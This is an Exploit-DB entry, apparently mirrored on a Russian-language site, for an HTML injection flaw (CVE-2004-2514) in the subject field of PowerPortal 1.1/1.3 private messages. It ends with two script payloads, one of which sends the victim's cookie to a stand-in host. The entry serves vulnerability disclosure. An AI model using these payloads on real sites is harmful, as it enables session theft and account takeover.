Exploit PowerPortal 1.1/1.3 - Private Message HTML Injection

[Exploiter]

EDB-ID

24340

Проверка EDB

1. Пройдено

Автор

VAMPZ

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2004-2514

Дата публикации

2004-07-30

PowerPortal 1.1/1.3 - Private Message HTML Injection

source: https://www.securityfocus.com/bid/10835/info

A vulnerability is reported for PowerPortal which may make it prone to HTML injection attacks. The problem is said to occur due to a lack of sufficient sanitization performed on private message data.

Specifically, when creating PowerPortal private messages, the subject field may not be sufficiently sanitized of malicious content. This may make it possible for an attacker to place HTML or script code within the subject field of a private PowerPortal message for another user.

Subject: <script>alert(document.cookie);</script>
Subject: <script>document.location='http://www.example.com/?'+document.cookie</script>